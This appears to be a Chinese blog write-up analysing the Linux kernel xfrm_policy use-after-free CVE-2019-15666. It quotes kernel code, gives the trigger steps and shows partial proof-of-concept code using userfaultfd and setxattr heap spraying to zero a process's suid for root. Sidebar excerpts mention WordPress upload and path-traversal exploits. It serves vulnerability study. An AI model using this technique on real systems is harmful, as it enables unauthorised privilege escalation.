cve-2019-15666 xfrm_policy

【漏洞复现】Wordpress AI Engine插件-任意文件上传-Upload wordpress是一种自由和开放源代码的内容管理系统,基于php和mysql,使用wordpress,用户可以很容易地创建和维护个人或商业网站、博客、电子商务网站或应用程序,而无需深入了解编程语言或数据库管理。Wordpress saveconfiguration接口处存在任意文件上传漏洞,恶意攻击者可以上传恶意软件,例如后门、木马或勒索软件,以获取对服务器的远程访问权限或者破坏系统,对服务器造成极大的安全隐患。 阅读详情

这个漏洞比较强,官方说明漏洞只会导致拒绝服务攻击,但实际上利用得当可以实现提权。影响范围3.x-5.x

漏洞成因,数组越界。需要插入用户定义的 index timer set。
XFRM_MSG_NEWSA请求的路劲添加policy。

添加policy需要通过verify_newpolicy_info的认证。但漏洞版本认证缺陷。
https://duasynt.com/blog/ubuntu-centos-redhat-privesc

static int xfrm_add_policy(struct sk_buff *skb, struct nlmsghdr *nlh,
struct nlattr **attrs)
{
struct net *net = sock_net(skb->sk);
struct xfrm_userpolicy_info *p = nlmsg_data(nlh);
struct xfrm_policy *xp;
struct km_event c;
int err;
int excl;
err = verify_newpolicy_info(p); [1]
if (err)
return err;
err = verify_sec_ctx_len(attrs);
if (err)
return err;
c 2020 DUASYNT Pty Ltd Page 1 of 6Technical report: 01-0311-2018 rev 0.2
xp = xfrm_policy_construct(net, p, attrs, &err);
if (!xp)
return err;
excl = nlh->nlmsg_type == XFRM_MSG_NEWPOLICY;
err = xfrm_policy_insert(p->dir, xp, excl); [2]
xfrm_audit_policy_add(xp, err ? 0 : 1, true);
...
static int verify_newpolicy_info(struct xfrm_userpolicy_info *p)
{
...
ret = verify_policy_dir(p->dir); [3]
if (ret)
return ret;
if (p->index && ((p->index & XFRM_POLICY_MAX) != p->dir)) [4]
return -EINVAL;
return 0;
}

甚至在3.0版本中,根本没有检测。

static int verify_policy_dir(u8 dir)
{
	switch (dir) {
	case XFRM_POLICY_IN:
	case XFRM_POLICY_OUT:
	case XFRM_POLICY_FWD:
		break;

	default:
		return -EINVAL;
	}

	return 0;
}

伪造index = 4 , direction = 0; 将可以通过所有的认证。

触发越界位于 xfrm_policy_timer函数中。

if (unlikely(xp->walk.dead))
goto out;
dir = xfrm_policy_id2dir(xp->index); [5]      index = 4  dir = 4
...
expired:
read_unlock(&xp->lock);
if (!xfrm_policy_delete(xp, dir)) [6]
km_policy_expired(xp, dir, 1, 0);
xfrm_pol_put(xp);
}

其中 利用 xfrm_policy_id2dir();计算了direction。但是

static inline int xfrm_policy_id2dir(u32 index)
{
return index & 7;
}

4 & 7 = 4 ; [6]越界行为。 4 & 3 =0

static struct xfrm_policy *__xfrm_policy_unlink(struct xfrm_policy *pol,
int dir)
{
struct net *net = xp_net(pol);
if (list_empty(&pol->walk.all))
return NULL;
/* Socket policies are not hashed. */
if (!hlist_unhashed(&pol->bydst)) {
hlist_del_rcu(&pol->bydst);
hlist_del(&pol->byidx);
}
list_del_init(&pol->walk.all);
net->xfrm.policy_count[dir]--; [7]
return pol;
}
1. The first policy object is inserted with index 0 (auto-generated by the subsystem), direction 0 and
priority 0.
2. The second policy object is inserted with the user-defined index = 4, direction 0, priority 1 (> 0) and
a timer set.
3. XFRM_SPD_IPV4_HTHRESH request is issued to trigger policy rehashing.
4. XFRM_FLUSH_POLICY request is issued freeing the first policy.
5. Once the timer expires on the second policy, UAF is triggered on the first policy that was freed in the
previous step

步骤三 . XFRM_SPD_IPV4_HTHRESH executes the following function re-inserting existing policies in reverse order into the bydst
list:

static void xfrm_hash_rebuild(struct work_struct *work)
{
...
/* re-insert all policies by order of creation */
list_for_each_entry_reverse(policy, &net->xfrm.policy_all, walk.all) {
	if (policy->walk.dead ||
	xfrm_policy_id2dir(policy->index) >= XFRM_POLICY_MAX) { [8]
		/* skip socket policies */
		continue;
	}
	newpos = NULL;
	chain = policy_hash_bysel(net, &policy->selector,
	policy->family,
	xfrm_policy_id2dir(policy->index));
	hlist_for_each_entry(pol, chain, bydst) {
	if (policy->priority >= pol->priority)
		newpos = &pol->bydst;
	else
		break;
	}
	if (newpos)
		hlist_add_behind(&policy->bydst, newpos);
	else
		hlist_add_head(&policy->bydst, chain);
	}

However, the second policy with index 4 (4 & 7 = 4 is
now checked against XFRM POLICY MAX = 3 causing this policy to be skipped and not reinserted into the
bydst policy list.

在这里插入图片描述
setp 4: the request to flush policies frees the first policy in [9], leaving the second policy object in its own
disjoint state:

int xfrm_policy_flush(struct net *net, u8 type, bool task_valid)
{
...
for (dir = 0; dir < XFRM_POLICY_MAX; dir++) {
	struct xfrm_policy *pol;
	int i;
	again1:
	hlist_for_each_entry(pol,
	&net->xfrm.policy_inexact[dir], bydst) {
	if (pol->type != type)
	continue;
	__xfrm_policy_unlink(pol, dir);
	spin_unlock_bh(&net->xfrm.xfrm_policy_lock);
	cnt++;
	xfrm_audit_policy_delete(pol, 1, task_valid);
	xfrm_policy_kill(pol); [9]
...

When the preset timer expires on the second policy, the following execution path calls the unlink operation
on the second policy leading to UAF write in [10]:

static struct xfrm_policy *__xfrm_policy_unlink(struct xfrm_policy *pol,
int dir)
{
	struct net *net = xp_net(pol);
	if (list_empty(&pol->walk.all))
	return NULL;
	/* Socket policies are not hashed. */
	if (!hlist_unhashed(&pol->bydst)) {
		hlist_del_rcu(&pol->bydst); [10]
		hlist_del(&pol->byidx);
	}
	list_del_init(&pol->walk.all);
	net->xfrm.policy_count[dir]--;
	return pol;
}
hlist del rcu then executes hlist del on the bydst list pointer in the second policy object:
static inline void __hlist_del(struct hlist_node *n)
{
struct hlist_node *next = n->next;
struct hlist_node **pprev = n->pprev;
WRITE_ONCE(*pprev, next); [11]
if (next)
next->pprev = pprev;
}

The pprev pointer in the second policy object still references the freed first policy. Hence, the next pointer
in the freed object gets overwritten with 0 (8-byte write) in [11].

在这里插入图片描述
期间,二次插入后效果如图,现在删除pol1。
next = pol1->next = NULL;
pprev = pol1->pprev = pol2;

*pprev = next ==> pol2->next = NULL;
next->pprev = pprev 没有操作。
最终:
pol2->pprev = pol1。pol2还引用着释放后的pol1值。 堆喷站位。

删除pol2
next = pol2->next =NULL
pprev = pol2->pprev =pol1

pprev = next ==> pol1->next = NULL
next->pprev = pprev ==> 没有操作;

那么我们就可以在二次分配的内存中写入八字节的0; 也就是改写struct xfrm_policy 结构体的 位于bydst的元素。

也就是说,如果我们控制了pol1->next的指针,就是一个地址写0的漏洞。

poc

整个poc利用uffd监控缺页异常,并通过用户态对缺页进行填充。

static pthread_t spray_setxattr(int flag, int idx)
{
	pthread_t ret;
	void *addr;
	addr = mmap(NULL, 0x1000, 3, 0x22, -1, 0); /* TODO */
	if (!addr) {
		perror("mmap");
		exit(-1);
	}

	ret = uffd_setup(addr, 0x1000, flag, idx);
	sem_wait(&shmaddr[idx]);
	if (flag) {
		int c;
		read(pipedes1[0], &c, 1);
	}
	setxattr("/etc/passwd", "user.test", addr, 0x400, 1); /* TODO */
	return ret;
}

		void *addr;
		addr = (void *)(msg.arg.pagefault.address & 0xfffffffffffff000);
		sem_post(&shmaddr[idx + 1]);
		int c;
		read(pipedes0[0], &c, 1);

		struct uffdio_copy io_copy;
		char src[0x1000];
		io_copy.dst = (unsigned long)addr;
		io_copy.src = (unsigned long)src;
		io_copy.len = 0x1000;
		io_copy.mode = 0;
		if ((idx > (SEM_MAX - 1)) || (idx < 205)) {
			sleep(1);
			if ((ioctl(fd, UFFDIO_COPY, &io_copy)) != 0)
				perror("UFFDIO_COPY");
		} else if ((ioctl(fd, UFFDIO_COPY, &io_copy)) != 0) {
			perror("UFFDIO_COPY");
		}
		sleep(3);

本来有个setup_sandbox启用子命名空间,但是被注释掉了。
对缺页进行填充的数据居然不用填。堆喷后的uaf到底执行了什么。单从数据来看,什么也没传进去。
开始没明白,后来看了这个 https://xz.aliyun.com/t/2814
原来又是一个高端的堆喷技巧,userfaultfd setxattr 精确堆喷的技巧。

while true; do ./test && break; done

但作用和传统的堆喷还是有区别的,因为确实没有填任何数据进去,意义在意就在于分割内存,使cred结构体能够被成功的从内存list当中分配,最后利用利用置零漏洞,把特定位置也就是suid的位置置零。

完成提权

大致懂了,通过不断竞争,我们要实现的是在新建的进程的cred结构体中 任意ruid euid suid置零的操作,通过我们的置零uaf。但其实本身这并不是通常的uaf利用过程,需要竞态实现上诉完整过程。

struct cred {
	atomic_t	usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
	atomic_t	subscribers;	/* number of processes subscribed */
	void		*put_addr;
	unsigned	magic;
#define CRED_MAGIC	0x43736564
#define CRED_MAGIC_DEAD	0x44656144
#endif
	uid_t		uid;		/* real UID of the task */
	gid_t		gid;		/* real GID of the task */
	uid_t		suid;		/* saved UID of the task */
	gid_t		sgid;		/* saved GID of the task */
	uid_t		euid;		/* effective UID of the task */
	gid_t		egid;		/* effective GID of the task */
	uid_t		fsuid;		/* UID for VFS ops */
	gid_t		fsgid;		/* GID for VFS ops */
	unsigned	securebits;	/* SUID-less security management */
	kernel_cap_t	cap_inheritable; /* caps our children can inherit */
	kernel_cap_t	cap_permitted;	/* caps we're permitted */
	kernel_cap_t	cap_effective;	/* caps we can actually use */
	kernel_cap_t	cap_bset;	/* capability bounding set */
......
};


struct xfrm_policy {
#ifdef CONFIG_NET_NS
	struct net		*xp_net;
#endif
	struct hlist_node	bydst;
	struct hlist_node	byidx;
.....
};

typedef __kernel_uid32_t	uid_t;

cred 结构 usage 32位。uid_t 也是32位。也就是说到suid,刚好是12byte。而xfrm_policy到开始待bydst刚好也是12byte。神奇的是发生了,利用堆喷完成 超级多的 Small bin。而且这两结构体都在smallbin中。也就是说,提权的程序产生的新进程中的肯定会用到堆喷的small bin。当xfrm_policy发生uaf后,12byte的small bin刚好被重置位零,也就是suid变成了0。那么拥有suid = 0的进程就可以成功的利用seteuid, setresuid提权成功。至此全篇结束。

XFRM -- ipsec协议的内核实现框架 目录 1 Overview 1.1 XFRM 实例 1.2 Netlink 通道 1.3 XFRM State 1.3 XFRM Policy 2 接收发送IPsec报文 2.1 接收 2.2 发送 IPsec协议帮助IP层建立安全可信的数据包传输通道。当前已经有了如StrongSwan、OpenSwan等比较成熟的解决方案,而它们都使用了Linux内核中的XFRM框架进行报文接收发送。 XFRM的正确读音是transform(转换), 这表示内核协议栈收到的IPsec报文需要经过转换才 阅读详情

相关推荐

wp-revslider:WordPress RevSlider 文件上传和执行漏洞

wp-revslider WordPress RevSlider 文件上传和执行漏洞

Digitalworld.local (Development)--VulnHub靶机学习记录

1.端口扫描 2.登录8080看下,根据说明有隐藏页面,然而nikto dirb等都无法目录扫描,应该也是像页面提示说的一样被入侵检测系统拦截了,那怎么找目录呢,这就有点脑洞了,原来隐藏目录就是html_pages 进入隐藏目录,接下来就是一顿翻目录了 最后在/development.html目录,查看源码发现提示,进入秘密页面 /developmentsecretpage 发现登录页面 ,无论输入什么都是报错,爆破注入什么的别想了,都是连接超时,smb服务爆破同样结局,看来..

weixin_45509443的博客 848

允许 WordPress 上传任意文件的方法

从 WP 2.8.5 开始文件上传使用预定义的文件扩展名列表过滤,管理员也不例外。

【转载】 走进Linux内核之XFRM框架

linux xfrm 框架

日积月累 529

embedding计算过程

文章目录embedding计算过程(错了跟我讲,我会改)参考示例个人理解过程图示总结(基于pytorch) embedding计算过程(错了跟我讲,我会改) 参考示例 https://www.jianshu.com/p/63e7acc5e890 个人理解过程图示 总结(基于pytorch) 总的来说,就是将独热向量的长度(对应嵌入层的num_embeddings)转变为嵌入层的emdedding_size(而独热向量的维数就是你的数据中一共产生了多少个不一样的词,至少是这么多)。 数据的变化,将二维

纸上得来终觉浅,绝知此事要躬行! 1632

恶意代码实验3:Word宏病毒实验

只要下次打开这个word文档,就会执行以上代码,并将自身复制到Normal.dot(word文档的公共模板)和当前文档的ThisDocument中,同时改变函数名(模板中为Document_Close,当前文档为Document_Open),此时所有的word文档打开和关闭时,都将运行以上的病毒代码,可以加入适当的恶意代码,影响word的正常使用,本例中只是简单的跳出一个提示框。回答不正确三次,即可自动跳出病毒程序,但那时已经出现几十个文档。1、打开的宏编辑器如图所示,即可编写病毒代码。

qq_63949327的博客 6505

cuberite 文件读取 (CVE-2019-15516)

借此漏洞,可以访问攻击者想要的敏感数据,包括配置文件、日志、源代码等信息,更加方便攻击者对网站进行渗透。Cuberite是一款使用C++语言编写的、轻量级、可扩展的多人游戏服务器。该漏洞源于网络系统或产品未能正确地过滤资源或文件路径中的特殊元素。1.访问http://ip:port,出现如下页面,开始实验。Cuberite 2019-06-11之前版本中存在路径。攻击者可利用该漏洞访问受限目录之外的内容。3.查看/etc/passwd。

m0_65150886的博客 850

ArcGIS-裁剪遥感影像及dem图像

6、选择【工具箱】-【数据管理工具】-【栅格】-【裁剪】。在【输入栅格】里选择要裁剪的dem,在【输出范围】里选择刚创建的裁剪范围。选择一个输出路径,其他参数保存默认。2、起一个名称,要素类型选择【面】。点击【编辑】选择与要裁剪的dem一致的地理坐标系。1、创建需要裁剪区域的面层shp,右击选择【新建】-【shapefile】3、点击编辑器,选择开始编辑。4、选择【裁剪范围】,点击确定。5、画出想要裁剪的范围并保存。

siwenaiyou的博客 1万+

漏洞扫描--需要整改的

执行未经身份验证的代码。使用用户cookie,代理。中,DataBinder上的disallowedFields模式区分大小写,这意味着除非字段同时列出字段的第一个字符小写,包括属性路径中所有嵌套字段的第一个字符的大写。要创建ptrace关系的进程的凭据记录,这允许本地用户通过利用某些具有父子关系的场景来获得root访问权限进程关系,其中父级放弃特权并调用execve(可。限的经过身份验证的低权限用户都可以与文件管理器功能交互,例如从远程URL下载文件和更改文件权限(chmod)。......

冰恋云的专栏 2405

YOLOv11多模态融合实战:基于YOLOFuse的RGB与红外线(IR)协同检测技术解析

本文深入解析了基于YOLOv11的YOLOFuse多模态融合技术,重点探讨了RGB与红外线(IR)协同检测的实现原理与实战应用。文章详细介绍了双流架构与数据级、特征级、决策级三种融合策略,并通过实战案例展示了其在低光照、复杂环境下显著提升检测精度与鲁棒性的优势,为全天候安防、自动驾驶等场景提供了有效的技术解决方案。

weixin_29041195的博客 650

WorldQuant Brain Alpha 生成器

一个自动化工具,通过参数优化和回测来挖掘高质量的量化交易 Alpha 因子,并自动提交符合标准的因子。

weixin_37582383的博客 1万+

【漏洞复现】CVE-2019-11043(PHP远程代码执行漏洞)信息安全论文_含漏洞复现完整过程_含Linux环境go语言编译环境安装

在PHP5.4版本之前,Nginx处理PHP的流程是调用php-fpm,php-fpm再创建进程,调用php-cgi,以此实现了Ngixn对PHP的解析问题,此时php-fpm起到的是管理php-cgi的作用。fast-cgi协议改进了进程的处理模式,当一次通信完成后,通信进程会得以保留,不会杀死通信使用的进程,其他的通信还可以继续使用这个进程,这样一来,就大大提升了系统资源使用效率。最后,信息安全是一个持续的过程,需要不断地学习和更新知识,跟踪最新的漏洞和攻击技术,并采取相应的防护措施。

2509_93873707的博客 1941

1000Base-T1协议解读(基于802.3bq-2016 和Test Suite)

1000Base-T1是由一对双绞线实现全双工传输的以太网标准,采用PAM3编码方式(-1,0,1),编码后的实际传输符号速率为750Mbps。该标准的车载最大传输距离可达15米,主要应用于汽车产品开发过程。测试过程示波器要求带宽≥2G,采样率≥7.5Gbps,网分带宽≥1G。

qflook的博客 5333

[文件读取]cuberite 文件读取 (CVE-2019-15516)

描述: Cuberite是一款使用C++语言编写的、轻量级、可扩展的多人游戏服务器。Cuberite 2019-06-11之前版本中存在路径遍历漏洞。该漏洞源于网络系统或产品未能正确地过滤资源或文件路径中的特殊元素。攻击者可利用该漏洞访问受限目录之外的位置。网站后台地址:/....//....//webadmin.ini。查看/tmp/passwd。

wj33333的博客 438

Qt:一个强大而灵活的跨平台应用程序开发框架

代码示例中的源代码是简单的示例,用于演示Qt框架的一些基本特性。实际应用中,开发人员可以根据自己的需求和项目要求,使用Qt框架提供的丰富功能和组件进行开发。在Qt的官方文档和示例代码中,您可以找到更多详细的教程和示例,以帮助您更好地理解和使用Qt框架。它提供了丰富的工具和功能,支持跨多个平台进行开发,并具有高度的可定制性和灵活性。它提供了丰富的工具和功能,使得开发人员能够创建高性能、可扩展和易于维护的应用程序。下面将详细介绍Qt框架的优点,并提供一些相关的源代码示例。

CodeVorter的博客 853

uniapp - 强力解决 swiper 轮播图内嵌套视频导致滑动不流畅卡顿问题,轮播滑块视图容器里既有图片也有视频video组件共同存在出现滑动切换特别卡,轮播组件包裹视频播放器加载慢及层级过高解决

uni-app,h5移动端网页,微信小程序,支付宝小程序,Android安卓,苹果ios,app,nvue,swiper,轮播图,轮播图嵌套视频,卡顿,加载慢,左右滑动不流畅,很卡,滑动过快就会卡住,uniapp使用swiper组件里嵌套视频与图片如何解决卡顿问题,详细解决教程,swiper里有视频video,播放器,视频+图片轮播,层级过高及卡顿问题,没等看完视频就自动切换了,报错,无法加载播放,uniapp的App安卓苹果端,video老是加载,APP端video组件播放视频卡顿,抖音,快手,上下滑动视

🏆 前端领域优质创作者 1万+

走进Linux内核之XFRM框架

笔者此前对Linux内核相关模块稍有研究,实现内核级通信加密、视频流加密等。下面开始上才艺,带你走进Linux内核之XFRM框架。

北观止的博客 3905

华为的C语言编程规范.pdf

华为技术有限公司内部技术规范。本规范制定了编写C语言程序的基本原则、规则和建议。从代码的清晰、简洁、可测试、安全、程序效率、可移植各个方面对C语言编程作出了具体指导。

XFRM-IPsec内核实现框架

XFRM是个传输数据包(比如加密载荷payloads)的IP层框架。这个框架被用来实现IPsec协议套件(Security Association Database 和 Security Policy Database)。也可以被用来压缩IP层载荷payload。 IPsec is implemented by the XFRM (pronounced “transform”) framework, originated in the USAGI project, which aimed at pro

wq897387的专栏 5565

pscad IEEE标准系统搭建说明

pscad IEEE标准系统搭建说明,包含典型的IEEE 9节点、14节点、30节点、39节点和118节点系统。内含标准测试系统的原始数据和潮流结果。

Probability and Statistics - 4th edition

Probability and Statistics - 4th edition

Linux内核中的IPSEC实现(1)

Java代码   1. 前言      在Linux2.6内核中自带了IPSEC的实现,这样就不用象2.4那样打补丁来实现了。该实现包括以下几个部分: PF_KEY类型套接口, 用来提供和用户层空间进行PF_KEY通信,代码在net/key目录下,前面已经介绍过;安全联盟SA和安全策略SP管理,是使用xfrm库来实现的,代码在net/xfrm/目录下定义;ESP,AH等协议实现,

dolphin98629的专栏 5208

jre9下载 jdk9

(Java SE Runtime Environment 9.0) 9.0u175 官方最新版 【x86|x64】

Linux 内核源码分析---IPsec 互联网安全协议

学习记录

学习记录 2054

Linux网络协议栈9--ipsec收发包流程

IPSec协议帮助IP层建立安全可信的数据包传输通道。当前已经如strongswan、openswan等比较成熟稳定的开源项目做协议层的控制。但他们最终都是使用的内核的XFRM框架做报文的封装发送和接收解封,只不过内核的转发表项数据是由他们生成的。 XFRM,是transfrom的简写。 ######IPSec收包解封流程 流程路径:ip_rcv() --> ip_rcv_finish() --> ip_local_deliver() --> ip_local_deliver_fini

bigsheng2的博客 2921

基于内核4.19版本的XFRM框架

XFRM框架

日积月累 1465

Exim缓冲区溢出漏洞(CVE-2019-15846、CNVD-2019-30794) 排查方法

一、漏洞概述 Exim是一个运行于Unix系统中的开源消息传送代理(MTA),它主要负责邮件的路由、转发和投递。 Exim存在缓冲区溢出漏洞,攻击者可利用该漏洞使用root权限执行任意代码。 二、影响范围 受影响的版本: 4.92.1及以下的所有版本 详情请参考如下链接: https://exim.org/static/doc/security/CVE-2019-1...

手机用户小可爱的博客 1325

Linux内核中的IPSEC实现(3)

Java代码   5. 安全策略(xfrm_policy)处理      本节所介绍的函数都在net/xfrm/xfrm_policy.c中定义。      5.1 策略分配      策略分配函数为xfrm_policy_alloc(), 该函数被pfkey_spdadd()函数调用      struct xfrm_policy *xfrm_policy_allo

dolphin98629的专栏 1878

ip xfrm配置nat穿越

环境:Linux CentOS4.5.3-1.el7.elrepo.x86_64 VMWare虚拟机VM1--VM2,两个口直连。VM1:192.168.233.180;VM2:192.168.233.190. 正常配置一个非NAT穿越报文封装的IPsec隧道,然后使用ping命令测试,没有问题,如下配置: ip xfrm state add src 192.1

xingyeping的博客 6576

ip层本机接受数据包处理

当数据包的目的地址是本机是,Ip_rcv_finish函数就会将skb-&gt;dst-&gt;input函数指针初始化为ip_local_deliver,ip层本地发送数据包也分为两个阶段分配分别有两个处理函数:ip_local_deliver和ip_local_deliver_finish。本地转发数据包的首要任务是重组数据包,前送的数据包可以不要重组,前送可以转发每个分片数据包。 一、本地...

City_of_skey的博客 738
上一篇: KVM 代码详解
下一篇: 硬件虚拟化之vmm接管异常中断
inquisiter
博客等级 码龄10年 374粉丝 228原创
评论 4
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值